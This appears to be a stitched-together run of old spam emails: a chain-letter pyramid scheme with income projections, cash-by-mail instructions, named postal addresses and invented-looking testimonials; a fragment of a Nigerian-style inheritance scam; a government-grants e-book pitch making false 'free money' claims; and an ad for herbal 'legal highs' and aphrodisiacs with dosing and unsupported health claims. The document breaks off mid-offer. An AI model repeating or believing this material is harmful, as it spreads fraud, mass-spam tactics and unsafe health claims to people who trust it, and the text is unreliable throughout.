Let's also assume that the mailing receives only a 0.2% (2/10 of 1%) response (the response could be much better but let's just say it is only 0.2%). Also many people will send out hundreds of thousands of e-mails instead of only 5,000 each. Continuing with this example, you send out only 5,000 e-mails. With a 0.2% response, that is only 10 orders for report # 1. Those 10 people responded by sending out 5,000 e-mails each for a total of 50,000. Out of those 50,000 e-mails only 0.2% responded with orders. That's 100 people who responded and ordered Report # 2. Those 100 people mail out 5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to that is 1000 orders for Report # 3. Those 1000 people send 5,000 e-mails each for a total of 5 million e-mails sent out. The 0.2% response is 10,000 orders for Report # 4. Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000 (50 million) e-mails. The 0.2% response to that is 100,000 orders for Report # 5. THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half a million dollars). Your total income in this example is: 1..... $50 + 2..... $500 + 3.....$5,000 + 4..... $50,000 + 5.... $500,000 .... Grand Total=$555,550.00 NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL MAKE A LOT OF MONEY! ================================================== REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF 5,000 YOU MAILED TO. Dare to think for a moment what would happen if everyone or half or even one 4th of those people mailed 100,000 e-mails each or more? There are over 150 million people on the internet worldwide and counting, with thousands more coming online every day. Believe me, many people will do just that, and more! METHOD # 2: BY PLACING FREE ADS ON THE INTERNET ================================================== Advertising on the net is very, very inexpensive and there are hundreds of FREE places to advertise. Placing a lot of free ads on the internet will easily get a larger response. We strongly suggest you start with Method # 1 and add METHOD # 2 as you go along. For every $5 you receive, all you must do is e-mail them the report they ordered. That's it. Always provide same day service on all orders. This will guarantee that the e-mail they send out, with your name and address on it, will be prompt because they cannot advertise until they receive the report. ===========AVAILABLE REPORTS ==================== The reason for the ""cash"" is not because this is illegal or somehow ""wrong"". It is simply about time. Time for checks or credit cards to be cleared or approved, etc. Concealing it is simply so no one can SEE there is money in the envelope and steal it before it gets to you. ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5 cash (U.S. CURRENCY) for each report. Checks NOT accepted. Make sure the cash is concealed by wrapping it in at least 2 sheets of paper. On one of those sheets of paper, write the NUMBER & the NAME of the report you are ordering, YOUR E-MAIL ADDRESS and your name and postal address. PLACE YOUR ORDER FOR THESE REPORTS NOW : ================================================== REPORT # 1: ""The Insider's Guide To Advertising for Free On The Net"" Order Report #1 from: Robert Borowczyk ul. J. Olbrachta 118C m. 28 01-373 Warsaw Poland ______________________________________________________ REPORT # 2: ""The Insider's Guide To Sending Bulk Email On The Net"" Order Report # 2 from: Mohammad Faraziyan Engelbertstr. 25 40233 Dsseldorf Germany ______________________________________________________ REPORT # 3: ""Secret To Multilevel Marketing On The Net"" Order Report # 3 from: Luis Pastor Apartado 81 48080 Bilbao Spain ______________________________________________________ REPORT # 4: ""How To Become A Millionaire Using MLM & The Net"" Order Report # 4 from: Ali Reza Auf den Holln 68 44894 Bochum Germany ______________________________________________________ REPORT # 5: ""How To Send Out One Million Emails For Free"" Order Report # 5 From: J.siden krondikesvgen 54 A 83147 stersund Sweden ______________________________________________________ $$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ Follow these guidelines to guarantee your success: === If you do not receive at least 10 orders for Report #1 within 2 weeks, continue sending e-mails until you do. === After you have received 10 orders, 2 to 3 weeks after that you should receive 100 orders or more for REPORT # 2. If you do not, continue advertising or sending e-mails until you do. ** Once you have received 100 or more orders for Report # 2, YOU CAN RELAX, because the system is already working for you, and the cash will continue to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved down on the list, you are placed in front of a different report. You can KEEP TRACK of your PROGRESS by watching which report people are ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT to the income you can generate from this business !!! ================================================= FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have just received information that can give you financial freedom for the rest of your life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money in the next few weeks and months than you have ever imagined. Follow the program EXACTLY AS INSTRUCTED. Do Not change it in any way. It works exceedingly well as it is now. Remember to e-mail a copy of this exciting report after you have put your name and address in Report #1 and moved others to #2 .....# 5 as instructed above. One of the people you send this to may send out 100,000 or more e-mails and your name will be on every one of them. Remember though, the more you send out the more potential customers you will reach. So my friend, I have given you the ideas, information, materials and opportunity to become financially independent. IT IS UP TO YOU NOW ! =============MORE TESTIMONIALS=============== ""My name is Mitchell. My wife, Jody and I live in Chicago. I am an accountant with a major U.S. Corporation and I make pretty good money. When I received this program I grumbled to Jody about receiving 'junk mail'. I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I 'knew' it wouldn't work. Jody totally ignored my supposed intelligence and few days later she jumped in with both feet. I made merciless fun of her, and was ready to lay the old 'I told you so' on her when the thing didn't work. Well, the laugh was on me! Within 3 weeks she had received 50 responses. Within the next 45 days she had received total $ 147,200.00 ......... all cash! I was shocked. I have joined Jody in her 'hobby'."" Mitchell Wolf M.D., Chicago, Illinois ================================================ ""Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative as I am, I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back. I was surprised when I found my medium size post office box crammed with orders. I made $319,210.00 in the first 12 weeks. The nice thing about this deal is that it does not matter where people live. There simply isn't a better investment with a faster return and so big."" Dan Sondstrom, Alberta, Canada ================================================= ""I had received this program before. I deleted it, but later I wondered if I should have given it a try. Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed again by someone else......... 11 months passed then it luckily came again...... I did not delete this one! I made more than $490,000 on my first try and all the money came within 22 weeks."" Susan De Suza, New York, N.Y. ================================================= ""It really is a great opportunity to make relatively easy money with little cost to you. I followed the simple instructions carefully and within 10 days the money started to come in. My first month I made $20, in the 2nd month I made $560.00 and by the end of the third month my total cash count was $362,840.00. Life is beautiful, Thanx to internet."" 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On January 6,1998 a Foreign Oil Consultant Foreign contractor with the Nigerian National Petroleum Corporation Mr. James Herbert made a numbered time Fixed Deposit for twelve calendar months valued at US$20M ( Twenty Million United States Dollars) in my branch. Upon maturity I sent a routine notification to his forwarding address but got no reply. After a month we sent a reminder and finally we discovered from his contract employers the Nigerian National Petroleum Corporation that Mr. James Herbert died from an automobile accident. On further investigation, I found out that he died without making a WILL and all attempts to trace his next of kin was fruitless. I therefore made further investigation and discovered that Mr.James Herbert did not declare any next of kin or relations in all his official documents including his Bank Deposit paperwork in my Bank. This sum of US$20M has carefully been moved out of my bank to a security company for safe-keeping. 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This money is non taxable & interest free. > None of these programs require a credit check, collateral, security deposits > or co-signers, you can apply even if you have a bankruptcy or bad credit, it > doesn't matter, you as a tax payer and U.S. citizen are entitled to this > money. > There are currently over 1,400 Federal Programs, 24,000 State Programs, > 30,000 Private Foundations and 20,000 Scholarship Programs available. > This year over $30 Billion Dollars In Free personal and business Government > Grants Money will be given away by Government Grants Agencies. ### **Government Personal and Business Grants Facts:** **Over 20 Million People Get Government Money Every Year:** 1,000,000 entrepreneurs get money to start or expand a business 4,000,000 people get money to invest in real estate 6,000,000 people get money to go to college 10,000,000 people get free help and training for a better job --- ## **Getting Business Grants** > Anyone thinking about going into business for themselves, or wanting to > expand an existing business should rush for the world's largest ""one-stop- > money-shop"" where FREE business grants to start or expand a business is > being held for you by the Federal Government. It sounds absolutely incredible that people living right here in the United States of America wouldn't know that each year the world's largest source of free business help delivers: Over $30 billion dollars in free business grants and low-interest loans; over one-half trillion dollars in procurement contracts; and over $32 billion dollars in FREE consulting and research grants. > With an economy that remains unpredictable, and a need for even greater > economic development on all fronts, the federal government is more willing > than it ever has been before to give you the money you need to own your own > business and become your own boss! In spite of the perception that people should not look to the government for help, the great government give-away programs have remained so incredibly huge that if each of the approximately 8 million businesses applied for an equal share, they would each receive over $70,000. Most people never apply for FREE Business Grants because they somehow feel it isn't for them, feel there's too much red-tape, or simply don't know who to contact.The fact is, however, that people from all walks of life do receive FREE GRANTS MONEY and other benefits from the government, and you should also. ## **Government Grants for Personal Need** > Help to buy a new home for low income families, repair your home, rent, > mortgage payments, utility bills, purchase a new car, groceries, childcare, > fuel, general living expenses, academic tutoring, clothing, school supplies, > housing assistance, legal services, summer camp, debts, music lessons, art > lessons, any extracurricular activities, pay bills for senior citizens, real > estate taxes, medical expenses and general welfare. If you or someone you > know suffered a fire lose there are programs available to help in replacing > necessities. ## Scholarships And Grants For Education > Grant Money for preschool children and nursery school education, private, > primary and secondary schools, men and women to further their education, > scholarships for athlete's, business management, engineering, computer > science, medical school, undergraduate, graduate, professional, foreign > studies and many more. ### **Here's How You Can Get Free Grants In The Shortest Time Possible** > Once you know how and where to apply for a specific Free Grant, results are > almost inevitable. The government wants to give away this money. . . it is > under congressional mandate to do so! These funds are made available to help > you, the tax payer. All that's required from you is the proper presentation > of your grant request. That's all. Announcing... ### **""The Complete Guide To Government Grants""** > Forget just about everything you've seen or heard about government grants. > What I've done is put together a complete blueprint for researching, > locating and obtaining government grants. ""The Complete Guide To Government > Grants"" is the most comprehensive tool for obtaining free grant money, and > it comes in an Electronic book > (e-book) format, meaning you can download and start using it minutes after > you order. > The Complete Guide to Government Grants will provide you with access to > thousands of grant and loan sources, with step by step instructions to > proposal writing and contact procedures. In the Complete Guide to Government Grants you'll find: > Step by step guidelines to applying for government grants > Direct access to over 1,400 grant, loan and assistance programs offered by > the U.S. federal government. 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If you are Black you have > already qualified for 15 programs, being Hispanic, you qualify for many > programs. Being a Christian will get you into 20 programs, there are also > many other programs available for different faiths, Jewish, Catholic. Not > having any money, will get you into over 30 programs, 550 programs if you > are unemployed, or underemployed. The list and sources are endless. > You Are Eligible! This money is Absolutely Free and will be yours to use for > any worthwhile purpose. > Did you know you can apply for as many grants as you want? > It's true, For instance, you could get a $65,000 grant to begin a weight > loss business, get $8,800 in tuition to become a nurse or $35,000 to open up > the day-care center, you've always dreamed of owning. And then, go out and > apply for a grant to buy a home for you and your family. And once your new > business starts doing well you could go out and get another grant for > expansion of your business. The possibilities are endless. ### You Must Qualify For _At Least_ $25,000 In Free Grants Money, Or Your Money Back! > We are so confident in our Grants Guide that If you have not received at > least $25,000 in free grant money, or, if you are unhappy with our e-book > for any reason within the next 12 months, Just send the e-book back and we > will refund your entire payment. NO QUESTIONS ASKED!! > If you want to order, we insist you do so entirely at our risk. That is why > the E-book comes with a... **No Risk full year Money-Back Guarantee**. There > is absolutely NO RISK on your part with this 365 day guarantee. What we mean > is we want you to order without feeling you might ""get taken."" > Therefore, we want you to order this material today... read it, use it... > and if for any reason you aren't completely satisfied, you not only can > cancel, **you should** , for an immediate refund of your purchase price. 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A complete fill in > the blanks template system that will help you predict problems before they > happen and keep you from losing your shirt on dog business ideas. > A step by step explanation of how to develop a business plan that will make > bankers, prospective partners and investors line up at your door. Plus, a > complete ready made business plan template you can easily adapt to your > exact needs. > Discover the easiest, simplest ways to find new products for your business > that people are anxious to buy. > How to make money with your new idea or invention. Secrets of making sure > you put cash in your pocket on your very first idea business venture. > Complete, step by step instructions on how to plan and start a new business. > This is must-know must-do information; ignore it and you stand a good chance > to fail. You get specifically designed instructions for each of the > following: a service business, a retail store, a home based business, a > manufacturing company, and more. > What nobody ever told you about raising venture capital money. Insider > secrets of attracting investors, how to best construct your proposal, common > mistakes and traps to avoid, and much more. > Checklist for entering into a partnership. Keeps you from costly mistakes > when forming a partnership. > How to select a franchise business. A step by step guide to selecting a > franchise that is best for you. > A complete step-by-step organized program for cutting costs in your > business. Clients of mine have achieved an average of 28% to 35% cost > reduction with this technique, and you can too. Keep the money in your > pocket with this one! > What are the secrets behind constructing a results driven marketing plan? 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Here's just a taste of what's in the guide: > Home business: is it for you? > What are the secrets behind the people who have million dollar home based > businesses? you'll find a 24 tip list proven to turn your home business into > a money machine. > Laws and regulations you must be aware of to avoid legal errors. > Planning a home based business **-** Insider secrets and tips revealed for > ensuring your success in a home business. > Fundamentals of home business financial planning. > Simple, easy to copy ideas that will enhance your image - and the response > you get from your customers. > Common problems in starting and managing a home based business - and how to > solve them once and for all. **Who I Am and Why I'm Qualified to Give** **You The Best Grants Advice Available** > I'm the president of a leading Internet based information business. I'm also > the creator of ""The Managing a Small Business CD-ROM"" and the author of five > books. > I've been involved in obtaining grants and in small business for the past 23 > years of my life, as a business coach, a manager of a consulting firm, a > seminar leader and as the owner of five successful businesses. > During my career as a business coach and consultant I've helped dozens of > business owners obtain government grants, start their businesses, market, > expand, get out of troubles, sell their businesses and do practically every > other small business activity you can think of. > The Guide presented here contains every tip, trick, technique and strategy > I've learned during my 23 year career. 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Feeling marvelous, Mood-Sensitive, Mood-Enhancing, Depressive/Regressive, ""Sweet Treat"" forumulations for the Pleasuring and Well-Being of Body, Mind & Spirit from the planet's foremost ""Sensitive"" ethnobotanical cooperative -- Exotic Botanical Resources! (Product descriptions, pricing and deep-discounted Intro Offers information below.) SEVENTH HEAVEN ""SWEET TREAT"" MENU 1. SHANGRILA ZOWIE WOWIE (tm) (Gnarly Sweet Grass). Absolutely, the most significant legal ""Personal Choice"" non-cannabis, non-marijuana, non-tobacco smoking botanical on the planet. 2. PROSAKA (tm) High-Ratio extracts in tablet form for Calm, Balance, Serenity & Peaceful living. 3. AQUEOUS KATHMANDU (tm) (Happy Drops) ""Personal Choice"" enhanced ""Sensitivity"" for non-smokers & tokers. 4. SWEET VJESTIKA (tm) (Aphrodisia Drops) Erotica; Intimacy ""Sensitivity"" Enhancement at its finest for men & woman. 5. GENTLE FEROCITY (tm) Viripotent Energization, Appetite Suppression Tablets without the inclusion of Caffeine or MaHaung Herb or Ephedrine! 6. CAPILLARIS HERBA (tm) A sedate smoking and/or brewing Happiness Botanical. ******************************** **Shangrila Zowie Wowie (tm)** ******************************** ""Personal Choice"" Primo Exotic Supplemental Smoking Botanical / Gnarly ""SweetGrass"" Variety / Supplemental Agenda ""Seventh Heaven"" Paradoxical Configuration for the ""significant"" Enhancement and Pleasuring of body, mind & spirit ""sensitivities"" -- Potentiated; Gnarly, whole-plant Matrix -- Paragonic Reserve; Enigmatic Blendage Mood ""Sensitive / Responsive"" Smoking / Brewing Herba. Actions & indications: Simultaneous, High-Spirited; ""Stimulation / Relaxation / Aphrodisia"" (Significant Paradise Consequence!) This is the Personal Choice, Sensitive, Responsive Smoking (""Smoka"") product we have wanting to offer! This is the product and the VALUE that you have been searching for. This is the product that you will buy again & again! We have been in the business (science) of developing non-cannabis, personal choice sensitive smoking agendas for a good, goodly while. Along this avenue of ethnobotany, we have always strived to achieve greater and greater ""Sensitivity / Responsiveness"" & Aphrodisia within our gourmet smokables and brews. And indeed, we have. Many of these previous products are still marketed today by companies who are less developmental than our botanical resource cooperative. Even our own two signature ""smokables"" (Ragga Dagga & Stoney Mahoney) are being discontinued. That Shangrila Zowie Wowie is by far such a superior product is undeniable, therefore it makes no sense to us at all to offer any other smoking product. Quite simply we have surpassed even our own expectations of excellence, thereby; our definition of excellence has evolved. This ""Shangrila"" project has been in research and development for sometime on two fronts. First, on an agricultural level, fields for our Gnarly SweetGrass! must be planted and be allowed to propagate for several years before initial harvest can even be undertaken. This is how the botanical achieves ""potent significance"" much like the regimen of ginseng. Also, harvest time is limited and can take place only twice a year, as like the hemp plant, maximum potency is only achieved after ""flowering"" occurs. But, unlike the hemp plant, and for that matter, unlike most herbs, the entire base plant of Shangrila Zowie Wowie (leave, stem & root) is all ""viripotent,"" which makes this ""gnarly stoke"" a botanical phenomenon! As well, most potentiating factors of Shangrila, as well as the primary botanical factor of Shangrila, will not achieve ""viripotency"" if grown in our hemisphere, therefore; Shangrila is indeed a multi-national, multi-complicated, agricultural undertaking. However, all of this undertaking has indeed been worthwhile! Secondly, the potentiating, infusion regimen used to enhance the attributes of Shangrila has also taken a lon! g time to bring into potent fruition as there are many balancings of the various molecular factors involved in the completion of Zowie Wowie. We are most pleased to be able to say, as you will note in the experience of Shangrila Zowie Wowie, that this process has achieved fruition. Suffice to say, without any hype or glype, Shangrila Zowie Wowie Gnarly SweetGrass is without a doubt, the most significant, non-invasive, non-cannabis, ""sensitive/responsive"", personal choice, absolutely legal (cannot fail a drug test), smoking (""Smoka"") botanical on our planet ... probably in the universe! Hard to believe that this product is ABSOLUTELY LEGAL! * Mill-stoned & honed. * Depressive regressive! * Psychologically uplifting! * Good-bye stress, anxiety & restlessness! * Sophisticated, well-balanced ""ambiance."" * Inspires contemplativeness and creativity. * ""Potentiated"" & viripotent! * 4 5 draws lasts a good, goodly while. * Sweet aphrodisia! (Horny Goat Weed factoring) * Simultaneously; uplifting and relaxing! * Easy ignition, Smooth draw, Sweet, heady taste. * Easy on, easy off! * SATISFACTION GUARANTEED! * No ""munchie"" factor. * No failed drug tests! Shangrila Zowie Wowie (tm) Gnarly ""SweetGrass"" botanical is best utilized as a viri-potent ""Smoka"", via an herb-pipe. As is an herbalist's way, four or five draws of ""Smoka"" should be inhaled and retained. For the non-smoker, it is most appropriate to engage this herbaceousness as a potentiated tea/brew. (Steep approximately one teaspoon of Shangrila Zowie Wowie (tm) herba per one cup of water for ten minutes or so & strain.) When smoking Shangrila Zowie Wowie (tm), please draw gently as it is a most preeminent ""Sensitive / Responsive"" Smoke. Both a personal water-pipe (huuka) (water-pipe is included with quarter pound can only) and a standard herb-pipe are included for your smoking convenience and delight. Smoke and Brew concurrently is absolutely a Sweet, Sensitive Treat! Shangrila Zowie Wowie (tm) ""Sensitive/Responsive"" Smoka includes and is potentiated with the following non-irradiated, Mill-Stoned & Honed, exotica botanicals and botanical essences: Half-edged Lily-rare Bian Lian (lobeline factors), Kona Lactuca virosa, Yucatan Turnera aphrodisaca, Hawaiian Vervain (Maui strain), Siberian Leonorus Sibricus, rare Lotus Leaf, Jamaican Blue Verbena officinalis, Spanish Peumus Crocus Sativa, Chinese (flowering-tops only) Horny Goat Weed, Ginko Biloba, African Cola Vera, and African Wilde Dagga (flowering-tops only). Shangrila Zowie Wowie (tm) does not include any tobacco or any cannabis factors. Shangrila Zowie Wowie (tm) does indeed achieve gourmet distinction upon its own merit. Shangrila Zowie Wowie (tm) is not intended for use during work or while driving. Nor should it be enjoyed during pregnancy. In addition, although no factor in Shangrila Zowie Wowie (tm) is illegal or regulated, it is the ethical policy of Exotic Botanical Resources that Shangrila Zowie Wowie (tm) not be sold or offered to any person that has not attained at least 21 years of age. All things in their time.... ******************************************************** SHANGRILA ZOWIE WOWIE PRICING: * One 1 oz. bag (incl. herb-pipe only) $80.00 (plus shipping) * One 4 oz. Q.P.C. (Quarter Pound Can) (incl. herb-pipe & personal brass hookah) $150.00 (plus shipping) Also included as an added BONUS with each Q.P.C. purchase is a FREE 2 oz. package of our Capillaris Herba. (See Intro Offers at bottom of this text for further savings) ****************** **PROSAKA (tm)** ****************** High-Ratio extracts in tablet form for Calm, Balance, Serenity & Peaceful living. This Prosaka formulation, which we have just recently further potentiated, boasts an extremely loyal and abundant patronage, having been available to market at large now for a number of years. Prosaka botanical tablets were originally introduced as a botanical, supplemental alternative to various traditional medications that are prescribed for stress, anxiety, depressiveness, mood enhancement, insomnia, excessive dream activity, etc. We like to use this analogy: Imagine the circumstances of your life to be hurricane-ish. Certainly, Prosaka will not stop the wind from blowing. However, it will help to center you within the calm eye of your hurricane, so that you will better see your living and make your decisions from a calmer, more serene, more balanced perspective. Please note that when undertaking any supplemental herbal regimen in this arena, it is important to make a personal commitment to the therapy. It would make no sense to purchase Prosaka and to take it only sporadic! ally or only briefly. It is for this reason, although Prosaka is a very expensive formulation to produce; that we offer 300 count containers at as much of a reduced price as we are able to offer. Prosaka is an exclusive, proprietary amalgamation in tablet form which includes the following uncommon botanicals, extracts, flower-top essences and essential oils: Radix Salviae, Sensitive Mimosa Bark, Arillus Euphoriae, Shizandra, Frutcus Mori, Caulis Polygoni, Zizyohus, Tang Kuei, Cedar Seed, Sweetflag Rhizome, Cuscutae, Amber, Radix Scutellariae, Evodia, Longan, Arisaema, Cistanches, Radix Polygalae, Red Sage Root and Eucommia. No factor contained within Prosaka is restricted or regulated by law. All botanicals contained within are non-irradiated and are of pharmaceutical grade. Suggested Usage: 1 - 2 tablets; 2 to 3 times per day as needed. Best taken on an empty stomach. (During times of intensity up to 10 tablets per day may be utilized.) Also Note: Prosaka is not intended to supercede physician's care nor is it intended for use during pregnancy. ******************************************************** PROSAKA PRICING: * One 100 count bag ... $55.00 plus shipping * One 300 count container ... $130.00 plus shipping For larger quantities, please inquire. (See Intro Offers at bottom of this text for further savings!) ******************************************* **AQUEOUS KATHMANDU (tm) (Happy Drops)** ******************************************* ""Personal Choice"" enhanced ""Sensitivity"" for non-smokers & tokers. Aqueous Kathmandu has only been offered to market at large for a short while. However, in a short time this product has achieved a tremendous, very happy following. Aqueous Kathmandu (tm) ""Sensitive/Responsive"" Happiness Drops(Temple ""Quantum"" Variety). Indeed; a Happiness Brew from the Kathmandu a.k.a. ""Secret Fire"" from a toke-smoke point of view, if you know what I mean and be groovin' the scene. Who du the Kathmandu? Now, everybody can du the Kathmandu! (that is, if you're 21 years of age or older) Aqueous Kathmandu is engaged to holistically inspire and instill ""sensitive/responsive"" happiness and mellowness without the detriment of carcinogenic inhalation (smoking). Aqueous Kathmandu is absolutely legal and does not contain any controlled, considered to be harmful or regulated herbs or cannabis/marijuana factors! As ""smoking"" has become so socially taboo over the years and as so many people have asked us for a liquid product, we have long strived to bring a quantum-factored, concentrated liquid product to fruition. This has been no easy task for a variety of botanical and technological reasons. Finally, we are able to say that this task has been accomplished. A ""Sensitive"" herbal/botanical awakening, if you will, as we have introduced and brought to market Aqueous Kathmandu (tm) Happiness Drops, Temple ""Quantum"" Variety, a.k.a. ""Secret Fire."" - NO need to smoke. NO carcinogenic factors! - Absolutely Legal! NO Prescription Required. - NO Failed Drug Tests! - NO Cannabis or any Tobacco variety. - Quantum-Ratio, Core-Extracted, Refined Organic Factors. - Marvelously Potent - REMARKABLY Substantial! - Inspires Contemplativeness and Creativity! - Attitude and Mood Enhancement, Adjustment. - Interrupts Anxiety, Relaxes Stress. - A much superior product Better than Kava Kava, St. John's Wort, etc. - Many fine ganja virtues with NONE of the Negatives! - Better sleeping and dreaming. - Non-invasive - NO Downside! - Promotes Body, Mind and Spirit Intimacy. Contents: Aqueous Kathmandu is a unique botanical substantiality. It is offered and marketed as such. Undisputedly, it achieves ""distinctive accolade"" of its own merit. Aqueous Kathmandu is absolutely legal and does not contain any controlled or regulated or harmful herbs or cannabis factors. However, it is our mandatory ethical policy that Aqueous Kathmandu not be offered to individuals who have not yet attained at least 21 years of age (all things in their time). Please note as well that Aqueous Kathmandu is not intended for usage during work or while driving. And, as is true of all substance and indulgence, this product should not be enjoyed during pregnancy. This proprietary formulation does include the following quantum-ratio, core-extracted/refined botanicals in an alcohol base as a preservative: Albizzia flower-tops, Drachsha, Chavana Prash, Lactuca Virosa, Hybrid Flowering Turnera Diffusa, Wild Dagga, Capillaris Herba, Angelica Root, Zizyphi Spinosae, Buplerum, ! Hybrid Valeriana officinalis Root, Albizzia flower-tops, mature Polygonum Vine, Calea Zacatechichi, Crocus Sativa flower-tops, Leonorus Sibricus buds, Cinnabaris, Margarita herba, Biotae Orientalis, Salviae Miltiorrhizae. Usage Instructions: Shake well. Mix 30-50 drops with juice or water (best on empty stomach). Ambiance lasts about two hours or so. Not intended for use during pregnancy or while working or driving. Keep out of reach of children. ******************************************************** AQUEOUS KATHMANDU PRICING: * One 2 oz. bottle (90+ usages)... $115.00 plus shipping * Two 2 oz. bottles ... $170.00 plus shipping (See Intro Offers at bottom of this text for further savings!) ******************************************** **SWEET VJESTIKA (tm) (Aphrodisia Drops)** ******************************************** Erotica, Intimacy ""Sensitivity"" Enhancement at its finest for men & women. Even we did not imagine the ""sweet"" customer appreciation that Sweet Vjestika has enjoyed. Now, more potent than ever due to higher concentrations of Sweet Vjestika's botanical factors, this is intimacy enhancement at its finest. Sweet Vjestika is an erotic aphrodisia, sexual intensifier/enhancer, liquid amalgamated extract for men & women. Indeed, a HeavenSent Treasure of Pleasure to entice your Passion, to intrigue your Desire, Enchantment's Rapture, Sweet Vjestika's Fire. The Tantra Sacrament of Sweet Vjestika Aphrodisia Drops Extravagantly Inspires and Enhances: *Sensitivity to touch *Desire to touch & be touched *Fantasy / Lust / Rapture / Uninhibitedness *Erogenous sensitivity *Sexual courageousness *Sexual gentleness and ferocity SWEET VJESTIKA APHRODISIA DROPS *Prolongs and intensifies foreplay *Prolongs and intensifies orgasm / climax *Inspires body, mind, spirit orgasm / climax *Inspires and enhances body, mind, spirit communion betwixt lovers *Inspires and enhances the enchantment / glamourie of Love Contents: Whole MaHuang, Bee Pollen, Epimedium Angelica, Rehmannia, Ginger, Schizandra, Polygonatum, Adenophora, Tremella, Tang Kuei, Reishi, Codonopsis, Eucommium, Lycii Berry, Ligusticum, Peony Root, Fo Ti, Atractylodes, Ophiopogon, Royal Jelly, Euryales Seeds, Poria, Licorice, Mountain Peony Bark, Cormi Fruit, Rose Hips, Prince Ginseng, Scrophularia, Alisma, Astragalus, Fennel, Buplerium, Cypera, Aconite, Polygala, Red Sage Root, Jujube Seed, Lotus Seed, Tien Chi Ginseng, Ligus Ticum, Psoralea, Dodder Seed, and Cisthanches in a solution containing 24% pure grain alcohol as a preservative, distilled water and Lecithen as an emulsifier. Suggested Usage: Sweet Vjestika is extremely potent. Use 10 - 15 drops sublingually or in juice or tea, not to exceed 25 drops. Best when taken upon an empty stomach approx. 45 minutes before intimacy. Based upon 25 - drop increments there are approx. 60 dosages per 1 oz. bottle. Usage should not exceed 2 doses per week. Persons taking any prescription medication or suffering from depression or anxiety, should consult with their health care provider before using. This product is not intended for usage by persons with abnormal blood pressure or any cardiovascular malady or any thyroid dysfunction. Nor is it to be used during pregnancy or by any person under 21 years of age. ******************************************************** SWEET VJESTIKA PRICING: * One 1 oz. bottle (approx. 60 dosages) ... $90.00 plus shipping * Two 1 oz. bottles (approx. 120 dosages) ... $140.00 plus shipping (See Intro Offers at bottom of this text for further savings!) *************************** **GENTLE FEROCITY (tm)** *************************** Heaven-Sent ""Viripotent"" Energization, Appetite Suppression Tablets without the inclusion of Caffeine or MaHaung Herb or Ephedrine! * NO jitters. * NO inability to sleep at bedtime. * NO strung-out feeling! A non-caffeine, non-ephedrine, non-ephedra, non-MaHuang; virpotent, herbaceous prescription for the dynamic energization of body, mind and spirit. This Gentle Ferocity Formulation is amalgamated in accordance with the fundamental Taoist herbal principle of botanical interactiveness and precursorship which in essence is a molecular equation of the relevant botanical/herbal alkaloids and glycosides interacting with one another to proliferate molecular communion and thereby to achieve demonstrative herbal efficaciousness without negative implication to any aspect of human composition. These Gentle Ferocity Cordial Tablets are incredulously and thoroughly effective. Enjoy! Entirely Natural! Increases Energy! Increases Metabolism! Decreases Appetite! Contents: Each Gentle Ferocity Tablet contains 500 mg. of the following proprietary formulated, high-ratio concentrated botanical factors: Cortex Eucommiae, Radex Polygoni Multiflori, Zizyphus Seed, Fructus Schisandrae, Radix Panax Ginseng, Radix Astragali, Atractylode, Sclerotium, Porial Cocos, Saussurea Tang Kuei, Longan, Radix Paeoniae, Biota Seeds, Glehnia, Radix Salviae, Ligusticum, Lycu Berry, Radix Dioscoreae, Cortex Mouton, Frutcus Corni, Radix Polygalae, Cistanches, Radix Pseudoslellariae and Cortex Aranthopanacis. Suggested Usage: 1 - 2 tablets as needed. Best taken on an empty stomach. Not to exceed 6 tablets per day. Please Note: Persons with high blood pressure or any cardio-vascular malady should consult with their health care provider before engaging Gentle Ferocity. Also: Gentle Ferocity is not intended for use during pregnancy nor is it intended for acquisition by any person who has not attained at least 18 years of age. ******************************************************** GENTLE FEROCITY TABLETS PRICING: * One 300 count jar ... $130.00 plus shipping * Two 300 count jars .. for $220.00 plus shipping (reg. $260, save $40) * Three 300 count jars .. for $290.00 plus shipping (reg. $390, save $100) (See Intro Offers at bottom of this text for further savings!) *************************** **CAPILLARIS HERBA (tm)** *************************** A Sedate Smoking or Brewing Happiness Botanical. Capillaris Loose-leaf Herba is a very calming, happy sort of smoking/brewing herba. Capillaris Herba is a singular botanical and is best utilized close to bedtime as it is a very sedate herba. Not as potent as Shangrila Zowie Wowie from a smoking perspective (no legal product is), but well worth your attention! Many folks find that if they partake of both smoke and brew that not only do they go to sleep very happily, but that their dreaming life is often nicely enhanced. Capillaris Herba botanical is best rolled or bowled when engaged as a ""Smoka."" As is an herbalist's way, four or five draws of ""Smoka"" should be inhaled and retained. For the non-smoker, it is most appropriate to engage Capillaris Herba as a most peaceful brew/tea. (Steep approximately one teaspoon of Capillaris Herba per one cup of water for ten minutes or so & strain.) Capillaris Herba is not intended for use during work or while driving. Nor should it be enjoyed during pregnancy. In addition, although no factor in Capillaris Herba is illegal or regulated, it is the ethical policy of Exotic Botanical Resources that Capillaris Herba not be sold or offered to any person that has not attained at least 21 years of age. All things in their time. ******************************************************** CAPILLARIS HERBA PRICING: * One 2 oz. bag ... $65.00 plus shipping * Two 2 oz. bags ... $100.00 plus shipping (See Intro Offers at bottom of this text for further savings!) ******************************************************** ""CUSTOMER APPRECIATION"" INTRODUCTORY OFFERS All intro offers include a FREE 2 oz. package of our Capillaris Herba (regularly $65.00). PLEASE NOTE: All Exotic Botanical Resource Product are intended for sophisticated adult usage. No Exotic Botanical Resource product is intended for use during pregnancy and although no factor or product is regulated or illegal, it is the mandatory ethical policy of Exotic Botanical Resources that no XBR product be sold or offered to any person that has not attained at least 21 years of age. All things in their time. A) NORTH INTRO OFFER -- Includes the following: * One 1/4 lb. can of Shangrila Zowie Wowie (incl. hookah & herb pipe) * One 300 